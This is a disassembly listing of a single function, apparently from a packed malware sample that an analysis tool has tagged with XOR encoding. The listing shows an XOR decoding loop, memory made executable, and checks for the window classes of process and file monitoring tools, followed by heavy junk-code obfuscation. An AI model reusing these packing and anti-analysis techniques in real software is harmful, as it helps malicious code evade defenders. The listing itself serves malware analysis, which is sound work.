Function at 0x105e6c7
Capabilities:
Encode data using xor

Disassembly:
pop eax
add eax, 0xb
mov dword [ebx], eax
jmp 0x105e6b0
call 0x105e6c7
cmp edx, dword [ecx]
mov esi, 0x4b5c2b00
nop
cmp al, 0xd9
add byte ss:[ecx], al
cwde
xor cl, dh
pop es
mov cx, 0x57d3
pop esi
pushal
adc bx, 0x56fb
mov bx, 0x8a2c
popal
sti
add esi, 0xe591
jmp 0x105e6f3
sti
mov edx, 0x3928
jmp 0x105e707
mov edi, dword [esi]
push ebx
jmp 0x105e71f
pop ecx
sub edi, 0x73a1e0f7
cmc
xor edi, 0x63460eda
jle 0x105e739
adc ebx, 0x1d02e39d
add edi, 0x7817450d
movsx ebx, bx
mov dword [esi], edi
mov eax, ecx
sub esi, 4
jmp 0x105e757
dec edx
jne 0x105e782
jmp 0x105e776
sti
jmp 0x105e7aa
pushal
pushal
jnp 0x105e78a
jbe 0x105e790
popal
mov bl, cl
popal
jmp 0x105e707
cmp dword [ebp + 0x122d166d], 0
je 0x105e7c1
mov dword [ebp + 0x122d2bbb], 1
mov eax, dword [ebp + 0x122d0649]
mov esi, eax
mov ecx, dword [esi + 0x3c]
add esi, ecx
mov ecx, 0x400000
mov dword [ebp + 0x1245db4d], ecx
mov edi, dword [ebp + 0x122d2eaf]
test edi, edi
jne 0x105e7ec
jmp 0x105e92d
mov esi, edi
mov ecx, 0x4a94
lodsb al, byte [esi]
xor al, 0x37
stosb byte es:[edi], al
dec ecx
jne 0x105e7f3
mov ecx, dword [ebp + 0x122d2eaf]
mov edi, dword [ebp + 0x122d0649]
mov esi, dword [ebp + 0x1245db4d]
cmp edi, esi
jne 0x105e81d
jmp 0x105e91e
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
sub dword [ebp + 0x122d0f99], edx
sub edx, 8
add ecx, 8
add eax, edi
pushal
mov ebx, eax
push ebx
push 0x1000
push ebx
call dword [ebp + 0x1244b69e]
pop ebx
test eax, eax
je 0x105e85e
lea eax, [ebp + 0x1244b8ce]
push eax
push 0x40
push 0x1000
push ebx
call dword [ebp + 0x122d203f]
popal
mov bx, word [ecx]
test bx, 0xf000
je 0x105e905
and ebx, 0xfff
add ebx, eax
cmp dword [ebp + 0x122d2e93], 1
jne 0x105e89b
cmp byte [ebx - 2], 0xe8
jne 0x105e89b
cmp byte [ebx + 3], 0x90
jne 0x105e89b
jmp 0x105e905
cmp byte [ebx - 1], 0xc5
jne 0x105e8c8
cmp dword [ebp + 0x122d2c6f], 0
je 0x105e8c8
cmp dword [ebp + 0x122d0f8d], 0
je 0x105e8c8
mov byte [ebx - 1], 0xe9
jmp 0x105e905
cmp dword [ebp + 0x122d166d], 0
je 0x105e8f5
cmp byte [ebx - 1], 0xc5
jne 0x105e8f5
cmp dword [ebp + 0x122d2c6f], 0
je 0x105e8f5
mov byte [ebx - 1], 0xe9
jmp 0x105e905
cmp dword [ebx], 0x90909090
je 0x105e905
sub dword [ebx], esi
add dword [ebx], edi
add ecx, 2
sub edx, 2
jne 0x105e85f
cmp dword [ebp + 0x122d0f99], 0
jne 0x105e81d
mov edi, dword [ebp + 0x122d2eaf]
mov ecx, 0x4a94
xor al, al
rep stosb byte es:[edi], al
mov edx, 0x28639002
mov edi, dword [ebp + 0x122d0c1d]
mov ecx, 0x79
lea esi, [ebp + 0x12535980]
rep movsb byte es:[edi], byte [esi]
xor edx, 0x28634112
mov edi, dword [ebp + 0x122d0c1d]
add edi, 0xe
test edx, edx
je 0x105e962
add edx, dword [ebp + 0x122d0649]
mov dword [edi + 1], edx
mov edx, dword [ebp + 0x122d2f27]
mov edi, dword [ebp + 0x122d0c1d]
add edi, 0x54
mov dword [edi + 1], edx
mov edi, dword [ebp + 0x122d0c1d]
add edi, 0x49
mov dword [edi + 1], ebp
mov edi, dword [ebp + 0x122d0c1d]
add edi, 0x25
mov dword [edi + 1], ebp
jmp 0x105ea0d
mov eax, edx
jmp 0x105ea1d
jmp 0x1060bb3
mov edx, ebx
lea eax, [ebp + 0x12537797]
mov dword [ebp + 0x124f1f19], eax
jmp 0x1060be2
test byte [edx], cl
add byte [eax], al
leave
jnp 0x1060c3c
adc al, byte [eax]
je 0x1060bf6
jmp 0x1060d91
lea eax, [ebp + 0x12537bce]
push eax
push 0
push 0
lea eax, [ebp + 0x12537c09]
push eax
push 0
push 0
call dword [ebp + 0x122d2d5b]
call dword [ebp + 0x122d2fc9]
jmp 0x1060d91
call 0x1060c22
pop ebp
sub ebp, 0x12537c0e
push 0xfa0
call dword [ebp + 0x122d1dec]
lea esi, [ebp + 0x12537baf]
mov dword [esi], 0x6d676552
push edx
insd dword es:[di], dx
mov dword [esi + 4], 0x6c636e6f
mov dword [esi + 8], 0x737361
push 0
lea eax, [ebp + 0x12537baf]
push eax
call dword [ebp + 0x122d393b]
test eax, eax
je 0x1060c6a
jmp 0x1060d86
push 0x12c
call dword [ebp + 0x122d1dec]
lea esi, [ebp + 0x12537baf]
mov dword [esi], 0x36343831
mov dword [esi + 4], 0x31342d37
mov dword [esi + 8], 0
push 0
lea eax, [ebp + 0x12537baf]
push eax
call dword [ebp + 0x122d393b]
test eax, eax
je 0x1060cab
jmp 0x1060d86
push 0x12c
call dword [ebp + 0x122d1dec]
lea esi, [ebp + 0x12537baf]
mov dword [esi], 0x656c6946
mov dword [esi + 4], 0x636e6f6d
mov dword [esi + 8], 0x7373616c
mov dword [esi + 0xc], 0
push 0
lea eax, [ebp + 0x12537baf]
push eax
call dword [ebp + 0x122d393b]
test eax, eax
je 0x1060cf3
jmp 0x1060d86
lea esi, [ebp + 0x12537baf]
mov dword [esi], 0x434f5250
mov dword [esi + 4], 0x5f4e4f4d
mov dword [esi + 8], 0x444e4957
mov dword [esi + 0xc], 0x435f574f
mov dword [esi + 0x10], 0x5353414c
mov dword [esi + 0x14], 0
push 0
lea eax, [ebp + 0x12537baf]
push eax
call dword [ebp + 0x122d393b]
test eax, eax
je 0x1060d3e
jmp 0x1060d86
cmp dword [ebp + 0x12537bca], 0
je 0x1060d81
lea esi, [ebp + 0x12537baf]
mov dword [esi], 0x434f5250
mov dword [esi + 4], 0x4c505845
mov dword [esi + 8], 0
push 0
lea eax, [ebp + 0x12537baf]
push eax
call dword [ebp + 0x122d393b]
test eax, eax
je 0x1060d81
jmp 0x1060d86
jmp 0x1060c1d
mov eax, 0
jmp dword [ebp + 0x122d2f27]
mov eax, ecx
jmp 0x1060dc0
mov eax, 0x6754
sub esp, 4
mov dword [esp], esi
push eax
jmp 0x1060ebd
xor dword [esp], eax
xor eax, dword [esp]
jmp 0x1060dfd
push ebx
mov ebx, esp
push eax
mov dword [esp], edi
mov edi, 0x26fed942
push ecx
mov ecx, 0x7eb7a910
sub ecx, 0x1dd51cc6
inc ecx
jmp 0x1060fba
pop esp
mov dword [esp], edx
jmp 0x1060f7e
add ebx, 0x3feff1f9
mov ecx, dword [esp]
push esi
jmp 0x106101f
xchg dword [esp], esi
jmp 0x1060ed3
shl ebx, 1
inc ebx
add ebx, 0x3fe391c3
add ecx, ebx
pop ebx
push edi
push edx
mov dword [esp], 0x17def4ef
mov dword [esp], edx
mov edx, 0x7d7ea33f
jmp 0x1060e9c
push ecx
jmp 0x1060e94
mov dword [esp], ebx
push esi
mov ebx, dword [esp]
push ecx
jmp 0x1060f08
add eax, 4
sub eax, 4
jmp 0x1061071
add esp, 4
jmp 0x1060e6a
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg dword [esp], esi
jmp 0x1060f9c
mov ecx, esp
sub esp, 4
mov dword [esp], ebx
mov ebx, 0x1ff7a300
inc ebx
jmp 0x1060faf
mov dword [esp], ebx
jmp 0x1060fa8
mov edi, 0x7d7ea33b
xor edi, edx
push dword [esp]
mov edx, dword [esp]
add esp, 4
add esp, 4
add ecx, 0x7f9e61e9
jmp 0x1060fd3
add dword [esp], 0x7afbe3ba
mov esi, dword [esp]
add esp, 4
push ebp
jmp 0x1060f28
pop esp
push esi
mov dword [esp], 0x6baff75f
shr dword [esp], 6
and dword [esp], 0x47ef32f4
add dword [esp], 0x29eb4105
shr dword [esp], 3
shl dword [esp], 7
sub dword [esp], 0x8f73c94b
mov dword [esp], ecx
push dword [esp]
jmp 0x1060f35
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
add ecx, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
pop esp
jmp 0x1060e40
mov ebp, 0x7afbe3ba
sub esi, ebp
pop ebp
jmp 0x1060ddf
push dword [esp]
pop ecx
add esp, 4
sub esp, 4
jmp 0x1060f4a
mov dword [esp], eax
mov dword [esp], ecx
mov ecx, esp
push ebx
push esi
push 0x37def54a
pop esi
jmp 0x106102c
mov esi, 0xf44efc46
jmp 0x10610b9
add ebx, 0x6ffadd9a
sub ebx, esi
jmp 0x1061036
mov esi, dword [esp]
jmp 0x1060e62
push ecx
mov dword [esp], 0x5bef5b61
add dword [esp], 0x673bb57d
not dword [esp]
xor dword [esp], 0x477e1a77
jmp 0x1061079
pop esp
mov dword [esp], ebp
mov dword [esp], ecx
jmp 0x1060e7e
pop eax
pop ebx
jmp 0x1060f76
xor ebx, 0x7ff99421
jmp 0x1060e1d
xor ecx, 0x178dc51c
add edi, ecx
jmp 0x1060fc7
pop ecx
add edi, 0x6191dd6b
jmp 0x1060fe5
sub ecx, edi
jmp 0x1060ff7
add esi, 4
jmp 0x1060e15
add ebx, edi
pop edi
sub ebx, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], edx
jmp 0x1060e46
sub ecx, 0x7f9e61e9
pop edi
xchg dword [esp], ecx
jmp 0x106100c
pop ebx
jmp 0x1060e06
pop esp
mov dword [esp], ecx
mov ecx, ebx
push ecx
sub dword [esp], 0x3feff1f9
jmp 0x1061006
mov esi, esp
add esi, 4
jmp 0x1060fda
mov ebx, 0x37def54e
jmp 0x1060f69
sub ebx, 0x6ffadd9a
pop esi
add ecx, ebx
jmp 0x1061044
pop ebx
push edx
mov dword [esp], edi
mov edi, 4
sub ecx, 0x3fdaed71
add ecx, edi
add ecx, 0x3fdaed71
pop edi
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
mov esp, dword [esp]
push eax
push esp
pop eax
jmp 0x1060e53
xor eax, dword [esp]
jmp 0x1060dd4
add dword [esp], 0xdf45109e
mov dword [esp], ecx
mov ecx, 0x55bef23a
sub dword [esp + 4], ecx
pop ecx
pop edx
push 0x18457529
mov dword [esp], edi
push eax
mov dword [esp], ecx
push ebp
push edi
mov edi, 0x56f89fe5
mov ebp, edi
pop edi
add ebp, 0x7e670200
sub ebp, 0x127fb5fd
shr ebp, 1
push esi
jmp 0x1060f5f
add ebp, esi
pop esi
mov ecx, ebp
push dword [esp]
pop ebp
jmp 0x10610c7
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
mov edi, ecx
pop ecx
add edx, edi
mov edi, dword [esp]
add esp, 4
jmp 0x10610e7
jmp 0x106138e
push eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg dword [esp], eax
pop esp
mov dword [esp], esp
add dword [esp], 4
jmp 0x1061411
pop eax
pop dword [esp]
jmp 0x10614ad
sub ecx, 0x1bdbc4e7
sub esp, 4
mov dword [esp], ebp
mov ebp, 0x699f5a17
sub esi, ebp
pop ebp
add esi, ecx
push ebx
mov ebx, 0x6eafed20
xor ebx, 0x6c3bcb91
xor ebx, 0x6be72d21
add ebx, 0x2c4e87
add esi, ebx
pop ebx
jmp 0x1061431
push 4
pop ecx
add eax, ecx
pop ecx
xchg dword [esp], eax
mov esp, dword [esp]
jmp 0x10613fd
add esp, 4
sub esp, 4
mov dword [esp], esi
mov dword [esp], edx
jmp 0x1061466
pop eax
add eax, 4
sub eax, 4
jmp 0x1061490
push esi
jmp 0x1061425
push esp
mov esi, dword [esp]
push eax
mov eax, esp
jmp 0x106143d
pop ecx
xchg dword [esp], esi
mov esp, dword [esp]
jmp 0x106144f
add eax, 4
add eax, 4
xchg dword [esp], eax
jmp 0x1061454
jmp 0x10615b9
pop esp
push ebx
push ecx
mov ecx, 0x7fe6dc01
mov ebx, 0x7fe6dc05
jmp 0x1061505
mov dword [esp], ebp
mov ebp, esp
jmp 0x106147d
xor eax, 0xf6a14e7a
mov ecx, eax
pop eax
jmp 0x10613b3
push edi
push 4
jmp 0x10614a7
mov dword [esp], ebp
jmp 0x106149b
sub esp, 4
jmp 0x1061488
mov dword [esp], eax
push dword [esp + 4]
jmp 0x10613aa
pop edi
jmp 0x106157a
pop esp
mov dword [esp], eax
sub esp, 4
mov dword [esp], edx
mov dword [esp], esi
mov esi, 0x71df61be
sub dword [esp + 4], esi
mov esi, dword [esp]
push esi
mov esi, esp
jmp 0x10614ce
add esi, 4
push edi
push ebx
push 0x61e622c2
jmp 0x10614e0
pop ebx
jmp 0x10614e6
add ebx, 0x9e19dd42
mov edi, ebx
pop ebx
add esi, 0x72bc8409
add esi, edi
sub esi, 0x72bc8409
mov edi, dword [esp]
jmp 0x106151a
xor ebx, ecx
mov ecx, dword [esp]
push ebx
mov dword [esp], eax
mov eax, esp
add eax, 4
jmp 0x1061581
add esp, 4
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
pop esp
mov eax, dword [esp]
jmp 0x1061554
mov edi, dword [esp]
add esp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
xchg dword [esp], ebp
mov esp, dword [esp]
push ecx
push dword [esp]
pop ecx
jmp 0x106141f
add esp, 4
add eax, 0x71df61be
push esi
mov dword [esp], ebx
push dword [esp]
push dword [esp]
mov ebx, dword [esp]
push eax
mov eax, esp
add eax, 4
push ecx
jmp 0x10613e9
add ebp, edi
jmp 0x1061532
add eax, 4
xchg dword [esp], eax
jmp 0x106158e
pop esp
add esi, ebx
pop ebx
jmp 0x1061597
push ebx
mov dword [esp], ecx
push eax
mov eax, 0x7fd63fb8
add eax, 0x5af706e9
jmp 0x10615ab
shl eax, 1
dec eax
add eax, 0x37dffd50
jmp 0x1061470
push eax
push ecx
push eax
mov dword [esp], edi
jmp 0x106170c
push edx
mov edx, 0x35ab7bb1
sub dword [esp + 0xc], 0x7ebf51e1
sub dword [esp + 0xc], edx
jmp 0x10618fa
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
pop esp
jmp 0x106183e
sub edx, 0x9282d89d
add ebx, 0x7d7ef20a
sub ebx, edx
jmp 0x10617a0
add eax, ebp
push esi
jmp 0x10616ef
add esp, 4
xor ebp, 0x100220e5
add eax, 0x6ffbadfe
jmp 0x1061687
mov esi, 0x2fda02b0
sub esi, 0x71cce382
push edi
mov edi, 0x7fd50500
jmp 0x10616d1
add edi, 0xdc7e5daa
add esi, edi
pop edi
push edx
push ecx
push 0x77e7974c
pop ecx
dec ecx
dec ecx
sub ecx, 0x47e80b69
jmp 0x106178d
mov esi, 0x3eff1fed
sub esi, 0x7ec721a1
jmp 0x106176c
mov edi, 0x7fb9ef36
push ebx
mov ebx, edi
mov ecx, ebx
pop ebx
pop edi
sub dword [esp + 4], ecx
jmp 0x1061815
push eax
mov eax, 0x7fc99f60
jmp 0x1061823
push ebx
mov dword [esp], esi
jmp 0x10616bb
push ebx
push 0x2fbf0cbf
pop ebx
xor ebx, 0x7e4ff315
mov ecx, ebx
pop ebx
push edi
mov edi, 0x4dc50fe9
or edi, 0x77fe2d49
neg edi
jmp 0x106185d
sub esi, 0xffffffff
add esi, 0x7b3fb6cc
inc esi
dec esi
sub esi, 0xcb7c071b
sub eax, esi
pop esi
pop ebp
push ebx
push ebx
mov ebx, esp
jmp 0x1061605
mov edx, ecx
pop ecx
xor esi, edx
pop edx
push eax
mov eax, 0x3a1cc59a
add esi, eax
jmp 0x10617f5
sub ebx, 0x7d7ef20a
pop edx
jmp 0x1061934
push 0x2c7d022e
mov dword [esp], ebx
jmp 0x1061735
pop eax
push esi
add dword [esp], 0x39f70b7c
mov ebp, dword [esp]
add esp, 4
sub ebp, 0x39f70b7c
mov esi, dword [esp]
jmp 0x106169a
push dword [esp]
pop ecx
add esp, 4
pop eax
push ebp
jmp 0x1061740
mov ebx, 0x42ac2d27
xor ebx, eax
jmp 0x10618ae
mov dword [esp], ecx
jmp 0x1061749
sub edi, 0x23d5583
add ecx, edi
pop edi
inc ecx
neg ecx
shr ecx, 1
shr ecx, 8
jmp 0x10617e8
mov eax, dword [esp]
add esp, 4
xor ecx, ebx
pop ebx
sub dword [esp + 4], 0x755322c2
add dword [esp + 4], ecx
jmp 0x10618e3
sub esp, 4
mov dword [esp], eax
mov eax, 0x755322c2
jmp 0x10615ee
add dword [esp + 0xc], 0x7ebf51e1
pop edx
add dword [esp + 8], eax
jmp 0x106193a
add dword [esp + 8], 0x35ab7bb1
pop eax
pop ecx
pop ebx
push edx
mov edx, 0x2fff8fdd
not edx
jmp 0x1061674